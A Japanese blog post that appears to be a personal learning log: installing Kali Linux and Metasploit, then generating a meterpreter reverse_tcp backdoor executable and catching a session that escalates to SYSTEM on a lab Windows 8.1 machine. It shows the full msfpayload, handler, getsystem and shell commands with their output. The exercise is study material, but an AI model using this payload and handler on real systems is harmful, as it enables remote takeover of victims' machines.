Install&Play Metasploit on Kali Linux

セキュリティ関連の勉強中、ということで、metasploit というフレームワークに手を出してみることに。Kali Linux とかいう Penetration Test  に特化したディストリビューションがあるらしいので、それを使ってみる。Kali Linux には Metasploit が標準で含まれているようです。

Penetration Testing Software | Metasploit
http://www.metasploit.com/

Kali Linux | Rebirth of BackTrack, the Penetration Testing Distribution.
http://www.kali.org/

2014/8/7 時点での最新版は、Kali Linux 64bit 1.0.8 (http://www.kali.org/downloads/)

ISO をダウンロードして普通にインストールするだけです。今回は Hyper-V ゲストにインストール。インストーラーでは迷わず Graphical Install をチョイス。なお、RAM は 1GB だとちょっと辛いので、最低でも 2GB は割り当てたほうがよいです。

(2015/1/26 追記)
本家のサイトを見ると、10GB HDD、512MB RAM が最低らしいです。

Kali Linux Hard Disk Install | Kali Linux Official Documentation
http://docs.kali.org/installation/kali-linux-hard-disk-install

image

インストールは問題なく終わり、ログイン画面。

image

面白いことに、世間の流れとは逆に、Kali Linux は root で操作することが標準となっているようです。理由は↓

Why Does Kali Linux Only Install as root ? – Kali Linux Official Documentation
http://docs.kali.org/faq/why-does-kali-linux-only-install-as-root

何はともあれ、まずは ssh を起動します。openssh-server はインストールに含まれているようですが、自動起動するように設定されていないので、自動機能の設定もしておきます。

root@kali:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.

root@kali:~# sudo update-rc.d ssh enable
update-rc.d: using dependency based boot sequencing

image

root のままだと何だか気持ち悪いので、作業用ユーザー alice を作ることにします。

root@kali:~# useradd -m alice
root@kali:~# passwd alice
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:~# usermod -a -G sudo alice
root@kali:~# chsh -s /bin/bash alice

環境変数がいけてないので、.bash_profile を作って追加します。

alice@kali:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
alice@kali:~$ pwd
/home/alice
alice@kali:~$ ls -la
total 24
drwxr-xr-x 2 alice alice 4096 Aug  8 21:42 .
drwxr-xr-x 3 root  root  4096 Aug  8 21:42 ..
-rw-r–r– 1 alice alice  220 Dec 29  2012 .bash_logout
-rw-r–r– 1 alice alice 3391 Jul 21 15:02 .bashrc
-rw-r–r– 1 alice alice 3392 Dec 29  2012 .bashrc.original
-rw-r–r– 1 alice alice  675 Dec 29  2012 .profile
alice@kali:~$ echo export PATH=/usr/sbin:/usr/bin:/sbin:/bin:${PATH} > .bash_profile

(2015/1/26 追記)
上記方法だと、GUI からターミナルを起動したときに設定が反映されません。というのも、/etc/profile の中で root と root 以外のユーザーで異なる PATH を設定するように記述されているためです。

if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
  PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH

環境変数をユーザーによって分けておく理由はないので、以下のように if 文は消しておきます。これで GUI 上のターミナルでも環境変数が正しく設定されます。

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
export PATH

これで OS の準備は終了です。Metasploit を使い始める前に、msfupdate コマンドを実行してバイナリを更新しておきます。バージョンは 4.9.3-2014072301-1kali0 になったようです。

alice@kali:~$ sudo msfupdate

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for alice:
[*]
[*] Attempting to update the Metasploit Framework…
[*]

[*] Checking for updates via the APT repository
[*] Note: expect weekly(ish) updates using this method
[*] Updating to version 4.9.3-2014072301-1kali0
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following packages will be upgraded:
  metasploit metasploit-framework
2 upgraded, 0 newly installed, 0 to remove and 52 not upgraded.
Need to get 259 MB of archives.
After this operation, 16.3 MB of additional disk space will be used.
Get:1
http://http.kali.org/kali/ kali/main metasploit-framework amd64 4.9.3-2014072301-1kali0 [69.8 MB]
Get:2
http://http.kali.org/kali/ kali/non-free metasploit amd64 4.9.3-2014072301-1kali0 [189 MB]
Fetched 259 MB in 1min 19s (3,257 kB/s)
Reading changelogs… Done
(Reading database … 332471 files and directories currently installed.)
Preparing to replace metasploit-framework 4.9.3-2014071601-1kali2 (using …/metasploit-framework_4.9.3-2014072301-1kali0_amd64.deb) …
Unpacking replacement metasploit-framework …
Preparing to replace metasploit 4.9.3-2014071601-1kali2 (using …/metasploit_4.9.3-2014072301-1kali0_amd64.deb) …
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
Leaving ‘diversion of /usr/bin/msfbinscan to /usr/bin/msfbinscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfcli to /usr/bin/msfcli.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfconsole to /usr/bin/msfconsole.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfd to /usr/bin/msfd.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfelfscan to /usr/bin/msfelfscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfencode to /usr/bin/msfencode.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfmachscan to /usr/bin/msfmachscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfpayload to /usr/bin/msfpayload.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfpescan to /usr/bin/msfpescan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrop to /usr/bin/msfrop.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrpc to /usr/bin/msfrpc.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrpcd to /usr/bin/msfrpcd.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfupdate to /usr/bin/msfupdate.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfvenom to /usr/bin/msfvenom.framework by metasploit’
Unpacking replacement metasploit …
Setting up metasploit-framework (4.9.3-2014072301-1kali0) …
Setting up metasploit (4.9.3-2014072301-1kali0) …
skipping metasploit initialization: postgres not running
insserv: warning: current start runlevel(s) (empty) of script `metasploit’ overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit’ overrides LSB defaults (0 1 6).
[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user ‘msf3’…
Creating metasploit database ‘msf3’…
insserv: warning: current start runlevel(s) (empty) of script `metasploit’ overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit’ overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
alice@kali:~$

以下の情報によると、Metasploit の起動には postgresql と metasploit サービスの起動が必要みたいなので、これらも自動起動にしておきます。

alice@kali:~$ sudo update-rc.d postgresql enable
update-rc.d: using dependency based boot sequencing
alice@kali:~$ sudo update-rc.d metasploit enable
update-rc.d: using dependency based boot sequencing

Starting Metasploit Framework | Kali Linux Official Documentation
http://docs.kali.org/general-use/starting-metasploit-framework-in-kali

実際に使う前に、ユーザーとライセンスの登録を行います。ローカル コンソール上でブラウザーを起動して、https://localhost:3790 を開きます。こんな感じの画面が出るので、ユーザー名、パスワードなどを決めます。これはローカルで使うものです。

image

次にライセンス登録を行って製品キーを取得します。

image

登録されました。

image

再起動しろ、と言われているので再起動します。

alice@kali:~$ sudo service metasploit restart
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

msfconsole コマンドでコンソールが起動します。

image

このまま終わるのもつまらないので、何かやってみましょう。教材はこちら↓

Create Simple Exploit Using Metasploit to Hack Windows 7
http://www.hacking-tutorial.com/hacking-tutorial/create-simple-exploit-using-metasploit-to-hack-windows-7/#sthash.makjzAdL.TEQBARvt.dpbs

同じコマンドを実行するだけです。まずは・・・

alice@kali:~$ sudo msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.80 X > Documents/v4L.exe
Created by msfpayload (
http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"10.10.10.80"}

v4L.exe とかいう怪しい実行可能ファイルができました。次に、Kali Linux では被攻撃システムからのアクセスを待機しておきます。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.10.10.80
lhost => 10.10.10.80
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4444
[*] Starting the payload handler…
msf exploit(handler) >

先ほど作った怪しげな v4L.exe を適当な Windows マシンにコピーして実行します。バージョンは Windows 8.1 + Update 1 です。

image

v4L.exe を実行すると、Kali Linux 側に信号が来るので、あとは前述したサイトに書かれているコマンドを実行するだけです。

msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4444
[*] Starting the payload handler…
msf exploit(handler) > [*] Sending stage (769536 bytes) to 10.10.20.70
[*] Meterpreter session 1 opened (10.10.10.80:4444 -> 10.10.20.70:49596) at 2014-08-08 22:23:35 -0700
[deprecated] I18n.enforce_available_locales will default to true in the future. If you really want to skip validation of your locale you can set I18n.enforce_available_locales = false to avoid this message.
sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  –  —-                   ———–                     ———-
  1   meterpreter x86/win32  CONTOSO\Administrator @ CLIENT  10.10.10.80:4444 -> 10.10.20.70:49596 (10.10.20.70)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > getsystem
…got system (via technique 1).
meterpreter > shell
Process 2924 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami -priv
whoami -priv

PRIVILEGES INFORMATION
———————-

Privilege Name                  Description                               State
=============================== ========================================= =======
SeLockMemoryPrivilege           Lock pages in memory                      Enabled
SeTcbPrivilege                  Act as part of the operating system       Enabled
SeSystemProfilePrivilege        Profile system performance                Enabled
SeProfileSingleProcessPrivilege Profile single process                    Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Enabled
SeCreatePagefilePrivilege       Create a pagefile                         Enabled
SeCreatePermanentPrivilege      Create permanent shared objects           Enabled
SeDebugPrivilege                Debug programs                            Enabled
SeAuditPrivilege                Generate security audits                  Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Enabled
SeTimeZonePrivilege             Change the time zone                      Enabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Enabled

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

無事、Windows マシンを乗っ取ることができたようです。恐ろしいことに、Administrator どころか System アカウントで動いています。しかも Kali Linux 側ではパスワードなどの入力は一切行っていません。

このコンソール上でウィンドウを持つアプリケーションを実行すると、v4L.exe を実行したコンソール上にウィンドウが表示されます。それを Process Explorer で見るとこんな感じになります。まだ何も調べていませんが、一体どういう仕組みなんでしょうかね。

image

ただし、Windows もやられっぱなしというわけではありません。Windows Defender の real-time protection が有効になっていれば、v4L.exe はすぐに Trojan:Win32/Swrort.A として検出され、削除されます。 まさにトロイの木馬のうち、バックドア型のウィルスですね。

image

広告

コメントを残す

以下に詳細を記入するか、アイコンをクリックしてログインしてください。

WordPress.com ロゴ

WordPress.com アカウントを使ってコメントしています。 ログアウト / 変更 )

Twitter 画像

Twitter アカウントを使ってコメントしています。 ログアウト / 変更 )

Facebook の写真

Facebook アカウントを使ってコメントしています。 ログアウト / 変更 )

Google+ フォト

Google+ アカウントを使ってコメントしています。 ログアウト / 変更 )

%s と連携中

%d人のブロガーが「いいね」をつけました。